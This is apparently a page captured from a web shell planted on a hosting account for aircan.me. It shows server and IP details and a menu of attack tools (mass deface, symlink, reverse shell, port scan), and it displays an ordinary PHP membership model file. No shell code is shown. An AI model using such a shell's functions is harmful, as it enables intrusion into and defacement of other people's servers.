Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
piscina
/
app
/
models
/
Viewing: Membresia.php
<?php namespace App\Models; require_once dirname(__DIR__, 2) . '/config/database.php'; use mysqli; class Membresia { private static ?mysqli $conn = null; private static bool $tableEnsured = false; public static function all(): array { $conn = self::connection(); $resultado = $conn->query('SELECT id, nombre, descripcion, precio, descuento FROM membresias ORDER BY nombre'); if (!$resultado) { return []; } $filas = $resultado->fetch_all(MYSQLI_ASSOC); return array_map([self::class, 'normalize'], $filas); } public static function find(int $id): ?array { $conn = self::connection(); $stmt = $conn->prepare('SELECT id, nombre, descripcion, precio, descuento FROM membresias WHERE id = ? LIMIT 1'); $stmt->bind_param('i', $id); $stmt->execute(); $resultado = $stmt->get_result()->fetch_assoc(); return $resultado ? self::normalize($resultado) : null; } public static function findByNombre(string $nombre): ?array { $conn = self::connection(); $stmt = $conn->prepare('SELECT id, nombre, descripcion, precio, descuento FROM membresias WHERE nombre = ? LIMIT 1'); $stmt->bind_param('s', $nombre); $stmt->execute(); $resultado = $stmt->get_result()->fetch_assoc(); return $resultado ? self::normalize($resultado) : null; } public static function create(array $data): int { $conn = self::connection(); $sql = 'INSERT INTO membresias (nombre, descripcion, precio, descuento) VALUES (?, ?, ?, ?)'; $stmt = $conn->prepare($sql); $nombre = trim($data['nombre'] ?? ''); $descripcionRaw = trim($data['descripcion'] ?? ''); $descripcion = $descripcionRaw !== '' ? $descripcionRaw : null; $precio = isset($data['precio']) ? (float) $data['precio'] : 0.0; $descuento = isset($data['descuento']) ? (float) $data['descuento'] : 0.0; $stmt->bind_param('ssdd', $nombre, $descripcion, $precio, $descuento); $stmt->execute(); return $stmt->insert_id; } public static function update(int $id, array $data): bool { $conn = self::connection(); $sql = 'UPDATE membresias SET nombre = ?, descripcion = ?, precio = ?, descuento = ? WHERE id = ?'; $stmt = $conn->prepare($sql); $nombre = trim($data['nombre'] ?? ''); $descripcionRaw = trim($data['descripcion'] ?? ''); $descripcion = $descripcionRaw !== '' ? $descripcionRaw : null; $precio = isset($data['precio']) ? (float) $data['precio'] : 0.0; $descuento = isset($data['descuento']) ? (float) $data['descuento'] : 0.0; $stmt->bind_param('ssddi', $nombre, $descripcion, $precio, $descuento, $id); $stmt->execute(); return $stmt->affected_rows >= 0; } public static function delete(int $id): bool { $conn = self::connection(); $stmt = $conn->prepare('DELETE FROM membresias WHERE id = ?'); $stmt->bind_param('i', $id); $stmt->execute(); return $stmt->affected_rows > 0; } public static function options(): array { $membresias = self::all(); $nombres = array_map(static fn (array $membresia) => $membresia['nombre'], $membresias); return array_values(array_unique(array_merge(['Ninguna'], $nombres))); } private static function ensureTable(): void { $sql = <<<SQL CREATE TABLE IF NOT EXISTS membresias ( id INT(11) NOT NULL AUTO_INCREMENT, nombre VARCHAR(100) NOT NULL, descripcion TEXT DEFAULT NULL, precio DECIMAL(10,2) NOT NULL DEFAULT 0.00, descuento DECIMAL(5,2) NOT NULL DEFAULT 0.00, creado_en TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP, actualizado_en TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, PRIMARY KEY (id), UNIQUE KEY nombre_unique (nombre) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; SQL; $conn = self::$conn; $conn->query($sql); $conteo = $conn->query('SELECT COUNT(*) AS total FROM membresias'); $total = $conteo ? (int) ($conteo->fetch_assoc()['total'] ?? 0) : 0; if ($total === 0) { $stmt = $conn->prepare('INSERT INTO membresias (nombre, descripcion, precio, descuento) VALUES (?, ?, ?, ?)'); $defaults = [ ['VIP', 'MembresÃa VIP con beneficios exclusivos.', 0.00, 0.15], ['Mensual', 'Acceso ilimitado durante un mes.', 0.00, 0.05], ['Descuento10%', 'Aplicar 10% de descuento en consumos.', 0.00, 0.10], ]; foreach ($defaults as $item) { [$nombre, $descripcion, $precio, $descuento] = $item; $stmt->bind_param('ssdd', $nombre, $descripcion, $precio, $descuento); $stmt->execute(); } } } private static function connection(): mysqli { if (!(self::$conn instanceof mysqli)) { $db = new \Database(); self::$conn = $db->getConnection(); } if (!self::$tableEnsured) { self::ensureTable(); self::$tableEnsured = true; } return self::$conn; } private static function normalize(array $row): array { $row['id'] = (int) $row['id']; $row['precio'] = isset($row['precio']) ? (float) $row['precio'] : 0.0; $row['descuento'] = isset($row['descuento']) ? (float) $row['descuento'] : 0.0; return $row; } }
Coded With 💗 by
0x6ick